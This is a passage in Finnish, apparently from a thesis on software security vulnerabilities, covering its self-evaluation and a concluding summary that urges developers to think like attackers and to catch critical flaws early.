puuttuminen tyosta, joskin verkkosovellusten haavoittuvuuksia kasitteleva osio vastaa suurim-
malta osin myds naihin kysymyksiin. Tyo onkin erityisesti onnistunut juuri verkkosovellusten haa-
voittuvuuksia kasittelevassa osiossa, josta on muodostunut kattavin teoriaosio. Jatkokehityskoh-

teita voisivat olla esimerkiksi edelld mainittujen pilvipalveluiden haavoittuvuuksien seka
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koneoppimiseen liittyvien uudenlaisten haavoittuvuuksien ja riskien tutkiminen. Léhteiden osalta
tyd on onnistunut varsin hyvin, tyon alkuvaiheessa tavoitteeksi asetettiin kdyttda ainoastaan asian-
tuntijoiden ja asiantuntijaorganisaatioiden julkaisemaa tietoa ja tassa onnistuttiin. Lahteina olisi
voinut kayttdada myos enemman pidempia tieteellisia julkaisuja kuten kirjoja, jotka tarjoaisivat syval-
lisemman selityksen kasiteltavasta aiheesta, mutta kaytetyt artikkelit ja julkaisut riittavat hyvin pe-
rustason tietdmyksen rakentamiseen. Kokonaisuutena tarkastellen tyon tuloksia voidaan pitaa luo-

tettavina ja ty6ta onnistuneena.
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8 Yhteenveto

Kaikkea sovelluskehittajayhteison tietoa haavoittuvuuksista on mahdotonta tiivistaa yhteen julkai-
suun. Avain turvalliseen sovelluskehitykseen ei kuitenkaan ole kaiken ulkoa muistaminen, vaan ns.
"out of the box” ajattelutapa, jonka hyokkaajat omaavat, ja joka auttaa myos kehittdjaa havaitse-
maan haavoittuvuudet ennen kuin ne paatyvat tuotantoversioon. Kehittdja ymmartaa aina parhai-
ten, miten hanen oma ratkaisunsa toimii, ja siksi on erittdin tarkeaa, etta juuri kehittdja itse osaa
arvioida omaa ratkaisuaan kriittisesti ja miettia miten han itse lahtisi sitd murtamaan. Kehittadjan
on tarkea muistaa, etta lahtokohtaisesti pyoraa ei tarvitse eika kannata lahtea keksimaan uudes-
taan, vaan tunnettuihin ohjelmointiongelmiin tulisi aina soveltaa tunnettuja ja yleisesti hyvaksyt-
tyja ratkaisuja. Usein kuulee sanottavan, ettd ohjelmoinnin perusperiaatteet ovat kaikissa ohjel-
mointikielissa samat, ja ndin ollen myds tietoturvaongelmat erilaisten ohjelmistotyyppien valilla
muistuttavat toisiaan huomattavan paljon, esimerkiksi syotteen kasittelyyn liittyy lahes poikkeuk-
setta tietoturvakysymyksia, riippumatta siita onko kyseessa verkko- vai mobiilisovellus tai esimer-
kiksi sulautettu jarjestelma. Tasta huolimatta jokainen ohjelmistoratkaisu on omalla tavallaan ai-
nutlaatuinen ja siksi myds sen ongelmakohdat ovat ainutlaatuisia, vaikka niissa samankaltaisuutta
esiintyykin. Ohjelmointitaidon kehittyessa syvallisemmaksi myos kyky ajatella kriittisesti ja nahda
asioita hyokkaajan nakokulmasta kehittyy. Kaytannossa mikdaan ohjelmisto ei ole viela julkaisuvai-
heessa taysin virheetdn, mutta olennaista on, etta kriittisimmat virheet kuten tietovuodon mah-
dollistavat havaitaan ja korjataan jo varhaisessa kehitysvaiheessa eivatka ne paady tuotantoon.
Tietoturvan ja testaamisen osaamiseen kannattaa panostaa, silla yhda enemman niin yhteiskunnan,
yritysten kuin yksityishenkildidenkin kannalta kriittisia palveluita sahkoistetdan ja automatisoi-
daan, jolloin tietoturvan merkitys kuten myds tietoturva-alan tyopaikat ja osaamisen kysynta kas-

vavat. Tietoturva on ajattelutapa, joka kehittyy luonnostaan ohjelmointiosaamisen kehittyessa.
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